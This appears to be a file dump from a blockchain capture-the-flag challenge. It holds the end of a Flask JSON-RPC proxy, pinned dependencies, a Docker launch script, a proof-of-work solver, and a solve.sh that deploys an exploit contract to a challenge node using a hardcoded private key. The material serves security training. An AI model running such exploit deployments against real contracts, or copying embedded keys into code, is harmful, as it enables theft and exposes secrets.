| "jsonrpc": "2.0", 224 | "id": body["id"], 225 | "error": { 226 | "code": -32602, 227 | "message": "invalid uuid specified", 228 | }, 229 | } 230 | 231 | node_info = get_instance_by_uuid(uuid) 232 | 233 | if "method" not in body or not isinstance(body["method"], str): 234 | return { 235 | "jsonrpc": "2.0", 236 | "id": body["id"], 237 | "error": { 238 | "code": -32600, 239 | "message": "invalid request", 240 | }, 241 | } 242 | 243 | ok = ( 244 | any(body["method"].startswith(namespace) for namespace in ALLOWED_NAMESPACES) 245 | and body["method"] != "eth_sendUnsignedTransaction" 246 | ) 247 | if not ok and not is_request_authenticated(request): 248 | return { 249 | "jsonrpc": "2.0", 250 | "id": body["id"], 251 | "error": { 252 | "code": -32600, 253 | "message": "invalid request", 254 | }, 255 | } 256 | 257 | resp = requests.post(f"http://127.0.0.1:{node_info['port']}", json=body) 258 | response = Response(resp.content, resp.status_code, resp.raw.headers.items()) 259 | return response 260 | 261 | 262 | if __name__ == "__main__": 263 | app.run(host="0.0.0.0", port=HTTP_PORT) 264 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | aiohttp==3.8.1 2 | aiosignal==1.2.0 3 | async-timeout==4.0.2 4 | attrs==22.1.0 5 | base58==2.1.1 6 | bitarray==2.6.0 7 | certifi==2022.6.15 8 | charset-normalizer==2.1.0 9 | click==8.1.3 10 | cytoolz==0.12.0 11 | eth-abi==2.2.0 12 | eth-account==0.5.9 13 | eth-hash==0.5.0 14 | eth-keyfile==0.5.1 15 | eth-keys==0.3.4 16 | eth-rlp==0.2.1 17 | eth-typing==2.3.0 18 | eth-utils==1.9.5 19 | Flask==2.2.2 20 | Flask-Cors==3.0.10 21 | frozenlist==1.3.1 22 | gunicorn==20.1.0 23 | hexbytes==0.2.3 24 | idna==3.3 25 | importlib-metadata==4.12.0 26 | ipfshttpclient==0.8.0a2 27 | itsdangerous==2.1.2 28 | Jinja2==3.1.2 29 | jsonschema==4.10.0 30 | lru-dict==1.1.8 31 | MarkupSafe==2.1.1 32 | multiaddr==0.0.9 33 | multidict==6.0.2 34 | netaddr==0.8.0 35 | parsimonious==0.8.1 36 | protobuf==3.20.1 37 | pycryptodome==3.15.0 38 | pyrsistent==0.18.1 39 | requests==2.28.1 40 | rlp==2.0.1 41 | six==1.16.0 42 | toolz==0.12.0 43 | urllib3==1.26.11 44 | varint==1.0.2 45 | web3==5.30.0 46 | websockets==9.1 47 | Werkzeug==2.2.2 48 | yarl==1.8.1 49 | zipp==3.8.1 50 | -------------------------------------------------------------------------------- /run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | IMAGE="$1" 4 | PORT="$2" 5 | HTTP_PORT="$3" 6 | SHARED_SECRET="$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM" 7 | 8 | echo "[+] running challenge" 9 | exec docker run \ 10 | -e "PORT=$PORT" \ 11 | -e "HTTP_PORT=$HTTP_PORT" \ 12 | -e "ETH_RPC_URL=$ETH_RPC_URL" \ 13 | -e "FLAG=$FLAG" \ 14 | -e "PUBLIC_IP=$PUBLIC_IP" \ 15 | -e "SHARED_SECRET=$SHARED_SECRET" \ 16 | -p "$PORT:$PORT" \ 17 | -p "$HTTP_PORT:$HTTP_PORT" \ 18 | "$IMAGE" 19 | -------------------------------------------------------------------------------- /solve-pow.py: -------------------------------------------------------------------------------- 1 | import hashlib,random 2 | x = 100000000+random.randint(0,200000000000) 3 | for i in range(x,x+20000000000): 4 | m = hashlib.sha256() 5 | ticket = str(i) 6 | m.update(ticket.encode('ascii')) 7 | digest1 = m.digest() 8 | m = hashlib.sha256() 9 | m.update(digest1 + ticket.encode('ascii')) 10 | if m.hexdigest().startswith('0000000'): 11 | print(i) 12 | break 13 | -------------------------------------------------------------------------------- /solve.sh: -------------------------------------------------------------------------------- 1 | forge create Exploit.sol:Exploit --rpc-url http://167.172.159.91:8545/f2e36d63-78fa-4e55-9319-ac072868497d --private-key 0xf42b8f8e5cbb128b54327182c5399c01dc90a0349239a86963aa7c94a2e1c4db --constructor-args 0xa56B24969e7f742e4EF721d5FD647896F0758A48 --value 100ether 2 | 3 | --------------------------------------------------------------------------------